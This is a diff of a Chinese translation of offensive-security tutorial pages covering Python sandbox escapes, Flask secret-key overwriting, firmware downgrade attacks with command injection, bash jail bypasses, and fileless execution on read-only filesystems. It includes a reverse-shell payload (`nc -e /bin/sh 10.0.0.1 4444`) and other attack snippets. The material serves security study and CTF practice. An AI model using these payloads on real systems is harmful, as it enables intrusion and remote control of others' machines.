## 发现任意执行
|
||||
|
||||
在这里,我想解释如何轻松发现 **加载的更危险功能** 并提出更可靠的利用方法。
|
||||
在这里,我想解释如何轻松发现**加载的更危险功能**并提出更可靠的利用方式。
|
||||
|
||||
#### 通过绕过访问子类
|
||||
|
||||
此技术最敏感的部分之一是能够 **访问基本子类**。在之前的示例中,这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有 **其他可能的方法**:
|
||||
此技术最敏感的部分之一是能够**访问基础子类**。在之前的示例中,这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有**其他可能的方法**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -502,7 +502,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
此外,如果您认为**其他库**可能能够**调用函数以执行命令**,我们还可以**通过函数名称过滤**可能的库:
|
||||
此外,如果您认为**其他库**可能能够**调用函数以执行命令**,我们还可以**按函数名称过滤**可能的库:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -535,7 +535,7 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## 递归搜索内置对象、全局变量...
|
||||
## 递归搜索内置对象、全局对象...
|
||||
|
||||
> [!WARNING]
|
||||
> 这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**,只需使用这个脚本**递归查找可以找到该对象的地方。**
|
||||
@ -682,7 +682,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
注意你可以通过 **点** 的方式正常 **访问属性**,例如 `people_obj.__init__`,而使用 **括号** 访问 **字典元素**,且不需要引号 `__globals__[CONFIG]`。
|
||||
注意你可以通过 **点** 的方式正常 **访问属性**,例如 `people_obj.__init__`,而使用 **括号** 访问 **字典元素**,不带引号 `__globals__[CONFIG]`。
|
||||
|
||||
还要注意,你可以使用 `.__dict__` 来枚举对象的元素 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`。
|
||||
|
||||
@ -702,11 +702,12 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**更多关于** **格式** **字符串** 示例的例子可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
|
||||
**更多关于** **格式** **字符串** 示例的例子可以在 [**https://pyformat.info/**](https://pyformat.info) 找到。
|
||||
|
||||
> [!CAUTION]
|
||||
> 还请查看以下页面,了解将从 Python 内部对象中**读取敏感信息**的工具:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
@ -739,10 +740,10 @@ str(x) # Out: clueless
|
||||
|
||||
在 [**Python execution without calls**](#python-execution-without-calls) 部分中还有更多类似的内容。
|
||||
|
||||
Python 格式字符串漏洞不允许执行函数(不允许使用括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 这样获得 RCE。\
|
||||
Python 格式字符串漏洞不允许执行函数(不允许使用括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 那样获得 RCE。\
|
||||
然而,可以使用 `[]`。因此,如果一个常见的 Python 库具有 **`__getitem__`** 或 **`__getattr__`** 方法来执行任意代码,则可以利用它们来获得 RCE。
|
||||
|
||||
在 Python 中寻找这样的 gadget,写作提供了这个 [**Github 搜索查询**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在这里找到了这个 [一个](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
在 Python 中寻找这样的 gadget,写作中提供了这个 [**Github 搜索查询**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在这里找到了这个 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -772,8 +773,8 @@ pydll = LibraryLoader(PyDLL)
|
||||
|
||||
## 解剖 Python 对象
|
||||
|
||||
> [!NOTE]
|
||||
> 如果你想深入**学习**关于**python 字节码**的内容,请阅读这篇关于该主题的**精彩**文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> [!TIP]
|
||||
> 如果你想深入**了解** **python 字节码**,请阅读这篇关于该主题的**精彩**文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
在一些 CTF 中,你可能会被提供一个**自定义函数的名称,其中包含标志**,你需要查看**函数**的**内部**以提取它。
|
||||
|
||||
@ -898,7 +899,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
注意,如果您无法在 Python 沙箱中导入 `dis`,您可以获取函数的 **字节码** (`get_flag.func_code.co_code`) 并在本地 **反汇编** 它。您将看不到正在加载的变量的内容 (`LOAD_CONST`),但您可以从 (`get_flag.func_code.co_consts`) 猜测它们,因为 `LOAD_CONST` 还告诉您正在加载的变量的偏移量。
|
||||
注意,如果**您无法在python沙箱中导入`dis`**,您可以获取函数的**字节码**(`get_flag.func_code.co_code`)并在本地**反汇编**它。您将看不到正在加载的变量的内容(`LOAD_CONST`),但您可以从(`get_flag.func_code.co_consts`)中推测它们,因为`LOAD_CONST`也会告诉正在加载的变量的偏移量。
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -923,7 +924,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
## 编译 Python
|
||||
|
||||
现在,让我们想象一下,您可以以某种方式**转储您无法执行的函数的信息**,但您**需要**去**执行**它。\
|
||||
就像在以下示例中,您**可以访问该函数的代码对象**,但仅仅通过读取反汇编,您**不知道如何计算标志**(_想象一个更复杂的 `calc_flag` 函数_)
|
||||
就像在以下示例中,您**可以访问该函数的代码对象**,但仅通过读取反汇编,您**不知道如何计算标志**(_想象一个更复杂的 `calc_flag` 函数_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -938,7 +939,7 @@ return "Nope"
|
||||
```
|
||||
### 创建代码对象
|
||||
|
||||
首先,我们需要知道 **如何创建和执行代码对象**,以便我们可以创建一个来执行我们泄露的函数:
|
||||
首先,我们需要知道 **如何创建和执行代码对象**,以便我们可以创建一个来执行我们的函数泄漏:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -957,8 +958,8 @@ mydict = {}
|
||||
mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!NOTE]
|
||||
> 根据 Python 版本,`code_type` 的 **参数** 可能有 **不同的顺序**。了解您正在运行的 Python 版本中参数顺序的最佳方法是运行:
|
||||
> [!TIP]
|
||||
> 根据 Python 版本,`code_type` 的 **参数** 可能有 **不同的顺序**。了解您正在运行的 Python 版本中参数的顺序的最佳方法是运行:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -982,7 +983,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### 绕过防御
|
||||
|
||||
在本文开头的前几个示例中,您可以看到 **如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以 **在一行代码中执行整个脚本**,包括循环等(我们也可以使用 **`exec`** 做同样的事情)。\
|
||||
在本文开头的前几个示例中,您可以看到 **如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以 **在一行中执行整个脚本**,包括循环等(我们也可以使用 **`exec`** 做同样的事情)。\
|
||||
无论如何,有时在本地机器上 **创建** 一个 **编译对象** 并在 **CTF 机器** 上执行它可能是有用的(例如,因为我们在 CTF 中没有 `compiled` 函数)。
|
||||
|
||||
例如,让我们手动编译并执行一个读取 _./poc.py_ 的函数:
|
||||
@ -1012,7 +1013,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
如果您无法访问 `eval` 或 `exec`,您可以创建一个 **适当的函数**,但直接调用它通常会失败,错误信息为:_在受限模式下构造函数不可访问_。因此,您需要一个 **不在受限环境中的函数来调用这个函数。**
|
||||
如果您无法访问 `eval` 或 `exec`,您可以创建一个 **适当的函数**,但直接调用它通常会失败,错误信息为:_在受限模式下构造函数不可访问_。因此,您需要一个 **不在受限环境中的函数来调用此函数。**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1035,7 +1036,7 @@ f(42)
|
||||
### 断言
|
||||
|
||||
使用参数 `-O` 执行的 Python 将删除断言语句和任何依赖于 **debug** 值的代码。\
|
||||
因此,检查像
|
||||
因此,像这样的检查
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
|
||||
@ -237,7 +237,7 @@ app.secret_key = '(:secret:)'
|
||||
```python
|
||||
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
|
||||
```
|
||||
使用此有效载荷来**更改 `app.secret_key`**(您应用中的名称可能不同),以便能够签署新的和更具特权的 flask cookies。
|
||||
使用此有效载荷来**更改 `app.secret_key`**(您应用中的名称可能不同),以便能够签署新的和更具权限的 flask cookies。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
@ -41,7 +41,7 @@ synology-encrypted-archive-decryption.md
|
||||
- 在设备通信中**嗅探**更新请求
|
||||
- 识别并使用**硬编码的更新端点**
|
||||
- 从引导加载程序或网络**转储**
|
||||
- 在所有其他方法失败时,使用适当的硬件工具**拆卸并读取**存储芯片
|
||||
- 在万不得已时,使用适当的硬件工具**拆卸并读取**存储芯片
|
||||
|
||||
## 分析固件
|
||||
|
||||
@ -194,11 +194,11 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
||||
|
||||
### 完整系统仿真
|
||||
|
||||
像 [Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) 等工具,促进了完整固件仿真,自动化了过程并帮助进行动态分析。
|
||||
像 [Firmadyne](https://github.com/firmadyne/firmadyne)、[Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) 等工具,促进完整固件仿真,自动化过程并帮助进行动态分析。
|
||||
|
||||
## 实践中的动态分析
|
||||
|
||||
在这个阶段,使用真实或仿真的设备环境进行分析。保持对操作系统和文件系统的 shell 访问是至关重要的。仿真可能无法完美模拟硬件交互,因此需要偶尔重新启动仿真。分析应重新访问文件系统,利用暴露的网页和网络服务,并探索引导加载程序漏洞。固件完整性测试对于识别潜在后门漏洞至关重要。
|
||||
在这个阶段,使用真实或仿真的设备环境进行分析。保持对操作系统和文件系统的 shell 访问是至关重要的。仿真可能无法完美模拟硬件交互,因此需要偶尔重启仿真。分析应重新访问文件系统,利用暴露的网页和网络服务,并探索引导加载程序漏洞。固件完整性测试对于识别潜在后门漏洞至关重要。
|
||||
|
||||
## 运行时分析技术
|
||||
|
||||
@ -206,27 +206,27 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
|
||||
|
||||
## 二进制利用和概念验证
|
||||
|
||||
为识别的漏洞开发 PoC 需要对目标架构和低级语言编程有深入理解。嵌入式系统中的二进制运行时保护很少见,但在存在时,可能需要使用如返回导向编程(ROP)等技术。
|
||||
为识别的漏洞开发 PoC 需要对目标架构的深入理解以及使用低级语言编程。嵌入式系统中的二进制运行时保护很少见,但在存在时,可能需要使用如返回导向编程(ROP)等技术。
|
||||
|
||||
## 准备好的操作系统用于固件分析
|
||||
|
||||
操作系统如 [AttifyOS](https://github.com/adi0x90/attifyos) 和 [EmbedOS](https://github.com/scriptingxss/EmbedOS) 提供了预配置的固件安全测试环境,配备必要的工具。
|
||||
像 [AttifyOS](https://github.com/adi0x90/attifyos) 和 [EmbedOS](https://github.com/scriptingxss/EmbedOS) 这样的操作系统提供了预配置的固件安全测试环境,配备必要的工具。
|
||||
|
||||
## 准备好的操作系统用于分析固件
|
||||
## 准备好的操作系统分析固件
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos):AttifyOS 是一个旨在帮助您对物联网(IoT)设备进行安全评估和渗透测试的发行版。它通过提供一个预配置的环境,加载所有必要的工具,节省了您大量时间。
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos):AttifyOS 是一个旨在帮助您对物联网(IoT)设备进行安全评估和渗透测试的发行版。它通过提供一个预配置的环境,加载所有必要工具,节省了您大量时间。
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS):基于 Ubuntu 18.04 的嵌入式安全测试操作系统,预装固件安全测试工具。
|
||||
|
||||
## 固件降级攻击与不安全的更新机制
|
||||
|
||||
即使供应商对固件镜像实施了加密签名检查,**版本回滚(降级)保护通常被省略**。当引导或恢复加载程序仅使用嵌入的公钥验证签名,但不比较正在闪存的镜像的 *版本*(或单调计数器)时,攻击者可以合法地安装一个 **较旧的、仍然具有有效签名的易受攻击的固件**,从而重新引入已修补的漏洞。
|
||||
即使供应商对固件镜像实施了加密签名检查,**版本回滚(降级)保护通常被省略**。当引导或恢复加载程序仅验证嵌入的公钥签名,但不比较正在闪存的镜像的 *版本*(或单调计数器)时,攻击者可以合法地安装一个 **较旧的、仍然具有有效签名的易受攻击的固件**,从而重新引入已修补的漏洞。
|
||||
|
||||
典型攻击工作流程:
|
||||
|
||||
1. **获取较旧的签名镜像**
|
||||
* 从供应商的公共下载门户、CDN 或支持网站获取。
|
||||
* 从伴随的移动/桌面应用程序中提取(例如,在 Android APK 的 `assets/firmware/` 中)。
|
||||
* 从第三方存储库如 VirusTotal、互联网档案、论坛等获取。
|
||||
* 从第三方存储库如 VirusTotal、互联网档案、论坛等检索。
|
||||
2. **通过任何暴露的更新通道将镜像上传或提供给设备**:
|
||||
* Web UI、移动应用 API、USB、TFTP、MQTT 等。
|
||||
* 许多消费类 IoT 设备暴露 *未认证* 的 HTTP(S) 端点,接受 Base64 编码的固件块,服务器端解码并触发恢复/升级。
|
||||
@ -240,11 +240,11 @@ Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
在易受攻击的(降级)固件中,`md5` 参数直接连接到 shell 命令中而没有进行清理,从而允许注入任意命令(在这里 - 启用基于 SSH 密钥的 root 访问)。后来的固件版本引入了基本的字符过滤器,但缺乏降级保护使得修复变得无效。
|
||||
在易受攻击的(降级)固件中,`md5` 参数直接连接到 shell 命令中而没有进行清理,从而允许注入任意命令(在这里 - 启用基于 SSH 的 root 访问)。后来的固件版本引入了基本的字符过滤器,但缺乏降级保护使得修复变得无效。
|
||||
|
||||
### 从移动应用提取固件
|
||||
|
||||
许多供应商将完整的固件映像捆绑在其配套的移动应用程序中,以便应用可以通过蓝牙/Wi-Fi 更新设备。这些包通常以未加密的形式存储在 APK/APEX 中,路径如 `assets/fw/` 或 `res/raw/`。工具如 `apktool`、`ghidra`,甚至普通的 `unzip` 允许您在不接触物理硬件的情况下提取签名的映像。
|
||||
许多供应商将完整的固件映像捆绑在其配套的移动应用程序中,以便应用程序可以通过蓝牙/Wi-Fi 更新设备。这些包通常以未加密的形式存储在 APK/APEX 中,路径如 `assets/fw/` 或 `res/raw/`。工具如 `apktool`、`ghidra`,甚至普通的 `unzip` 允许您在不接触物理硬件的情况下提取签名的映像。
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
@ -254,7 +254,7 @@ firmware_v1.3.11.490_signed.bin
|
||||
|
||||
* *更新端点* 的传输/认证是否得到充分保护(TLS + 认证)?
|
||||
* 设备在刷写之前是否比较 **版本号** 或 **单调反回滚计数器**?
|
||||
* 镜像是否在安全启动链中进行验证(例如,ROM代码检查签名)?
|
||||
* 镜像是否在安全启动链中得到验证(例如,ROM代码检查签名)?
|
||||
* 用户空间代码是否执行额外的合理性检查(例如,允许的分区映射、型号)?
|
||||
* *部分* 或 *备份* 更新流程是否重用相同的验证逻辑?
|
||||
|
||||
|
||||
@ -140,11 +140,11 @@ echo ${PATH:0:1} #/
|
||||
```
|
||||
### DNS 数据外泄
|
||||
|
||||
你可以使用 **burpcollab** 或者 [**pingb**](http://pingb.in) 作为例子。
|
||||
你可以使用 **burpcollab** 或 [**pingb**](http://pingb.in) 作为例子。
|
||||
|
||||
### 内置命令
|
||||
|
||||
如果你无法执行外部函数,并且只能访问 **有限的内置命令以获得 RCE**,有一些方便的技巧可以做到这一点。通常你 **无法使用所有** 的 **内置命令**,所以你应该 **了解所有选项** 以尝试绕过监狱。灵感来自 [**devploit**](https://twitter.com/devploit)。\
|
||||
如果你无法执行外部函数,并且只能访问 **有限的内置命令以获得 RCE**,有一些方便的技巧可以做到这一点。通常你 **无法使用所有** 的 **内置命令**,所以你应该 **了解所有选项** 以尝试绕过监狱。这个想法来自 [**devploit**](https://twitter.com/devploit)。\
|
||||
首先检查所有的 [**shell 内置命令**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** 然后这里有一些 **建议**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
@ -296,7 +296,7 @@ ln /f*
|
||||
```
|
||||
## 只读/无执行/无发行版旁路
|
||||
|
||||
如果您在一个具有 **只读和无执行保护** 的文件系统中,甚至在一个无发行版容器中,仍然有方法可以 **执行任意二进制文件,甚至是一个 shell!:**
|
||||
如果您在一个具有 **只读和无执行保护** 的文件系统中,甚至在一个无发行版容器中,仍然有方法可以 **执行任意二进制文件,甚至是一个 shell!:**
|
||||
|
||||
{{#ref}}
|
||||
bypass-fs-protections-read-only-no-exec-distroless/
|
||||
@ -310,9 +310,9 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
|
||||
## 基于空间的 Bash NOP 滑道 ("Bashsledding")
|
||||
|
||||
当一个漏洞让您部分控制一个最终到达 `system()` 或另一个 shell 的参数时,您可能不知道执行开始读取您的有效载荷的确切偏移量。传统的 NOP 滑道(例如 `\x90`)在 shell 语法中 **不** 起作用,但 Bash 会在执行命令之前无害地忽略前导空格。
|
||||
当一个漏洞让您部分控制一个最终到达 `system()` 或另一个 shell 的参数时,您可能不知道执行开始读取您的有效负载的确切偏移量。传统的 NOP 滑道(例如 `\x90`)在 shell 语法中 **不** 起作用,但 Bash 会在执行命令之前无害地忽略前导空格。
|
||||
|
||||
因此,您可以通过在真实命令前加上一长串空格或制表符字符来创建一个 *Bash 的 NOP 滑道*:
|
||||
因此,您可以通过在真实命令前加上一长串空格或制表符来创建一个 *Bash 的 NOP 滑道*:
|
||||
```bash
|
||||
# Payload sprayed into an environment variable / NVRAM entry
|
||||
" nc -e /bin/sh 10.0.0.1 4444"
|
||||
@ -322,7 +322,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
|
||||
实际使用案例:
|
||||
|
||||
1. **内存映射配置块**(例如 NVRAM),可在进程之间访问。
|
||||
1. **内存映射配置块**(例如 NVRAM),可跨进程访问。
|
||||
2. 攻击者无法写入 NULL 字节以对齐有效负载的情况。
|
||||
3. 仅提供 BusyBox `ash`/`sh` 的嵌入式设备 – 它们也会忽略前导空格。
|
||||
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
|
||||
## 只读 / 无执行场景
|
||||
|
||||
越来越多的Linux机器以**只读(ro)文件系统保护**的方式挂载,特别是在容器中。这是因为运行一个只读文件系统的容器就像在`securitycontext`中设置**`readOnlyRootFilesystem: true`**一样简单:
|
||||
越来越多的Linux机器以**只读(ro)文件系统保护**的方式挂载,特别是在容器中。这是因为运行一个ro文件系统的容器就像在`securitycontext`中设置**`readOnlyRootFilesystem: true`**一样简单:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
@ -26,10 +26,10 @@ securityContext:
|
||||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
然而,即使文件系统以ro挂载,**`/dev/shm`**仍然是可写的,因此我们不能在磁盘上写入的说法是错误的。然而,这个文件夹将被**挂载为无执行保护**,因此如果您在这里下载一个二进制文件,您**将无法执行它**。
|
||||
然而,即使文件系统以ro方式挂载,**`/dev/shm`**仍然是可写的,因此我们不能写入磁盘的说法是错误的。然而,这个文件夹将会**以无执行保护挂载**,所以如果您在这里下载一个二进制文件,您**将无法执行它**。
|
||||
|
||||
> [!WARNING]
|
||||
> 从红队的角度来看,这使得**下载和执行**系统中尚不存在的二进制文件(如后门或枚举器如`kubectl`)变得**复杂**。
|
||||
> 从红队的角度来看,这使得**下载和执行**系统中尚不存在的二进制文件(如后门或像`kubectl`这样的枚举器)变得**复杂**。
|
||||
|
||||
## 最简单的绕过:脚本
|
||||
|
||||
@ -43,20 +43,20 @@ securityContext:
|
||||
|
||||
### FD + exec系统调用绕过
|
||||
|
||||
如果您在机器内部有一些强大的脚本引擎,例如**Python**、**Perl**或**Ruby**,您可以将二进制文件下载到内存中执行,将其存储在内存文件描述符中(`create_memfd`系统调用),这不会受到这些保护的限制,然后调用**`exec`系统调用**,指明**fd作为要执行的文件**。
|
||||
如果您在机器内部有一些强大的脚本引擎,例如**Python**、**Perl**或**Ruby**,您可以将二进制文件下载到内存中执行,将其存储在内存文件描述符中(`create_memfd`系统调用),这不会受到这些保护的限制,然后调用**`exec`系统调用**,将**fd作为要执行的文件**。
|
||||
|
||||
为此,您可以轻松使用项目[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)。您可以传递一个二进制文件,它将生成一个指定语言的脚本,**二进制文件经过压缩和b64编码**,并包含**解码和解压缩它**的指令,使用调用`create_memfd`系统调用创建的**fd**和调用**exec**系统调用来运行它。
|
||||
为此,您可以轻松使用项目[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)。您可以传递一个二进制文件,它将生成一个指定语言的脚本,**二进制文件经过压缩和b64编码**,并包含**解码和解压缩**它的指令,使用调用`create_memfd`系统调用创建的**fd**,以及调用**exec**系统调用来运行它。
|
||||
|
||||
> [!WARNING]
|
||||
> 这在其他脚本语言中不起作用,例如PHP或Node,因为它们没有任何**默认方式从脚本调用原始系统调用**,因此无法调用`create_memfd`来创建**内存fd**以存储二进制文件。
|
||||
>
|
||||
> 此外,使用`/dev/shm`中的文件创建**常规fd**将不起作用,因为您将无法运行它,因为**无执行保护**将适用。
|
||||
> 此外,使用`/dev/shm`中的文件创建**常规fd**也不起作用,因为您将无法运行它,因为**无执行保护**将适用。
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)是一种技术,允许您通过覆盖**`/proc/self/mem`**来**修改您自己进程的内存**。
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)是一种技术,允许您通过覆盖其**`/proc/self/mem`**来**修改您自己的进程的内存**。
|
||||
|
||||
因此,**控制正在被进程执行的汇编代码**,您可以编写**shellcode**并“变异”进程以**执行任何任意代码**。
|
||||
因此,**控制正在被进程执行的汇编代码**,您可以编写**shellcode**并“变异”该进程以**执行任何任意代码**。
|
||||
|
||||
> [!TIP]
|
||||
> **DDexec / EverythingExec**将允许您加载并**执行**您自己的**shellcode**或**任何二进制文件**从**内存**中。
|
||||
@ -78,7 +78,7 @@ ddexec.md
|
||||
|
||||
### Memdlopen
|
||||
|
||||
